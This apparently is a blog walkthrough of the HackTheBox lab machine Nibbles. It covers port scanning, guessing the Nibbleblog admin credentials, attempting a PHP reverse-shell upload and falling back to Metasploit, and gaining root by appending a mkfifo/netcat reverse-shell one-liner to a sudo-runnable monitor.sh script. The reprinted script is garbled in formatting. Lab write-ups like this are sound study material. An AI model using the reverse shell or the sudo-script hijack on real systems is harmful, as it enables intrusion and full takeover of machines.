← Back to Writeups
HTBEasyMachine

Nibbles

D3v0o0Nu119/2/20266 min read
#machine#htb#easy#ubuntu

Nibbles

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Nibbles (Ubuntu, attack surface: Apache httpd 2.4.18 ((Ubuntu)) (80), OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) (22)). Foothold via file upload, rce; privilege escalation via sudo, kernel. Both flags captured and redacted.

Recon

Port scan

bash
nmap -p- -sVC 10.10.10.75 --min-rate 1000
PortServiceVersionNotes
22sshOpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80httpApache httpd 2.4.18 ((Ubuntu))

Enumeration highlights

  • Detected OS: Ubuntu.
  • Open services: http (80), ssh (22).
  • Scan used: nmap -p- -sVC 10.10.10.75 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.10.75 --min-rate 1000        
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-31 04:18 PDT
Nmap scan report for 10.10.10.75
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4f8ade8f80477decf150d630a187e49 (RSA)
|   256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_  256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.73 seconds
  1. Based from the result, the machine runs a web application.

  2. Viewing the page source, we know there's a directory named nibbleblog.

  3. At this point, I have an assumption the vuln might be either SQLi or Arbitrary File Upload.

Searching in msf about nibble shall showed the vuln's history.

  1. After ran dirbuster to list all the files within the /nibbleblog/ directory, found several files that could be our interest.

NOTES:

I did not find any interesting files outside the /nibbleblog/ direcotry.
  1. Long story short, the admin.php opens up a login page and there's no SQLi vuln at all.

  2. So we need to find a valid cred.

  3. Found the potential username at --> http://nibbles.htb/nibbleblog/content/private/users.xml.

  4. For the password, it's kinda guessing. It took me a while, until I have assumptions that the password must be nibbles.

  5. Judging from the email I found in --> http://nibbles.htb/nibbleblog/content/private/config.xml.

  6. So the cred is --> admin:nibbles.

ADMIN.PHP --> LOGGED IN

  1. TIME SKIP.. Found a potential file upload vuln at the plugins option. Go to plugins -> choose the about plugin.

  2. We can upload PHP reverse shell. Let's upload the template payload from pentest-monkeys.

  3. Set a listener on the port you specified, then access the endpoint of our reverse shell payload.

  4. BUT, dunno why I can't get RCE.

  5. So, there's 2 plugins path, one is /plugins/ and the other one is /content/private/plugins/.

  6. But somehow I failed for both, our file won't show up there, and when I think we only can overwrite the content of the files with our reverse shell payload, I still failed to get RCE anyway.

  7. So I give up to get shell manually and I use metasploit.

USING METASPLOIT

  1. Noticed the vuln is at my_image plugins (?) Already tried to upload the reverse shell manually there, but still failed.

GETTING USER.TXT

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

unset any variable which system may be using

clear the screen

clear

unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

while getopts iv name do case $name in i)iopt=1;; v)vopt=1;; *)echo "Invalid arg";; esac done

if [[ ! -z $iopt ]] then { wd=$(pwd) basename "$(test -L "$0" && readlink "$0" || echo "$0")" > /tmp/scriptname scriptname=$(echo -e -n $wd/ && cat /tmp/scriptname) su -c "cp $scriptname /usr/bin/monitor" root && echo "Congratulations! Script Installed, now run monitor Command" || echo "Installation failed" } fi

if [[ ! -z $vopt ]] then { echo -e "tecmint_monitor version 0.1\nDesigned by Tecmint.com\nReleased Under Apache 2.0 License" } fi

if [[ $# -eq 0 ]] then {

Define Variable tecreset

tecreset=$(tput sgr0)

Check if connected to Internet or not

ping -c 1 google.com &> /dev/null && echo -e '\E[32m'"Internet: $tecreset Connected" || echo -e '\E[32m'"Internet: $tecreset Disconnected"

Check OS Type

os=$(uname -o) echo -e '\E[32m'"Operating System Type :" $tecreset $os

Check OS Release Version and Name

cat /etc/os-release | grep 'NAME|VERSION' | grep -v 'VERSION_ID' | grep -v 'PRETTY_NAME' > /tmp/osrelease echo -n -e '\E[32m'"OS Name :" $tecreset && cat /tmp/osrelease | grep -v "VERSION" | cut -f2 -d" echo -n -e '\E[32m'"OS Version :" $tecreset && cat /tmp/osrelease | grep -v "NAME" | cut -f2 -d"

Check Architecture

architecture=$(uname -m) echo -e '\E[32m'"Architecture :" $tecreset $architecture

Check Kernel Release

kernelrelease=$(uname -r) echo -e '\E[32m'"Kernel Release :" $tecreset $kernelrelease

Check hostname

echo -e '\E[32m'"Hostname :" $tecreset $HOSTNAME

Check Internal IP

internalip=$(hostname -I) echo -e '\E[32m'"Internal IP :" $tecreset $internalip

Check External IP

externalip=$(curl -s ipecho.net/plain;echo) echo -e '\E[32m'"External IP : $tecreset "$externalip

Check DNS

nameservers=$(cat /etc/resolv.conf | sed '1 d' | awk '{print $2}') echo -e '\E[32m'"Name Servers :" $tecreset $nameservers

Check Logged In Users

who>/tmp/who echo -e '\E[32m'"Logged In users :" $tecreset && cat /tmp/who

Check RAM and SWAP Usages

free -h | grep -v + > /tmp/ramcache echo -e '\E[32m'"Ram Usages :" $tecreset cat /tmp/ramcache | grep -v "Swap" echo -e '\E[32m'"Swap Usages :" $tecreset cat /tmp/ramcache | grep -v "Mem"

Check Disk Usages

df -h| grep 'Filesystem|/dev/sda*' > /tmp/diskusage echo -e '\E[32m'"Disk Usages :" $tecreset cat /tmp/diskusage

Check Load Average

loadaverage=$(top -n 1 -b | grep "load average:" | awk '{print $10 $11 $12}') echo -e '\E[32m'"Load Average :" $tecreset $loadaverage

Check System Uptime

tecuptime=$(uptime | awk '{print $3,$4}' | cut -f1 -d,) echo -e '\E[32m'"System Uptime Days/(HH:MM) :" $tecreset $tecuptime

Unset Variables

unset tecreset os architecture kernelrelease internalip externalip nameserver loadaverage

Remove Temporary Files

rm /tmp/osrelease /tmp/who /tmp/ramcache /tmp/diskusage } fi shift $(($OPTIND -1))


22. Not a fond in shell script yet, but since there's no LOC that indicates a "privesc", let's just append our own.
23. I used this template shell script.

> APPEND IT TO MONITOR.SH

```sh
echo "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.26 1337 > /tmp/f" >> monitor.sh
  1. Run it with sudo.

GOT ROOT

Root flag: REDACTED

Flags

FlagValue
userREDACTED
rootREDACTED

Lessons Learned

  1. Enumerate everything; version strings map to CVEs.
  2. Confirm each hypothesis with a test before building the exploit.
  3. Chain foothold -> privilege escalation mechanically.